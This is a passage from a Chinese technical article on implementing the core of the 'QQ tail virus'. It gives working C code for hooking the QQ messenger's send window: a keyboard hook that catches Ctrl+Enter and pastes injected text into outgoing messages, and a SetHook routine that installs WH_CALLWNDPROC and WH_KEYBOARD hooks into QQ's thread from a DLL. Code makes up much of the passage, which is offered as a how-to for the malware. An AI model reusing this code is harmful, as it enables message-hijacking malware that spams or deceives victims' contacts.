网络安全 频道

“QQ尾巴病毒”核心技术的实现

  所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。

  好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子:

 
  // 键盘钩子过程,监视“发送”的热键消息
  LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
  {
   // 捕获热键消息
   if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
   PasteText(g_hRich);
   return CallNextHookEx(g_hKey, nCode, wParam, lParam);
  }

  在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同WM_KEYUP的一次)。挂接钩子和查找窗口  接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?

  挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:

  // 挂接钩子
  BOOL WINAPI SetHook(HWND hQQ)
  {
   BOOL bRet = FALSE;
   if (hQQ != NULL)
   {
   DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
   // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
   g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
   if (g_hRich == NULL)
   return FALSE;
   // 挂接钩子
   g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
   g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
   bRet = (g_hProc != NULL) && (g_hKey != NULL);
   }
   else
   {
   // 卸载钩子
   bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
   g_hProc = NULL;
   g_hKey = NULL;
   g_hRich = NULL;
   }
   return bRet;
  }

  到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。

0
相关文章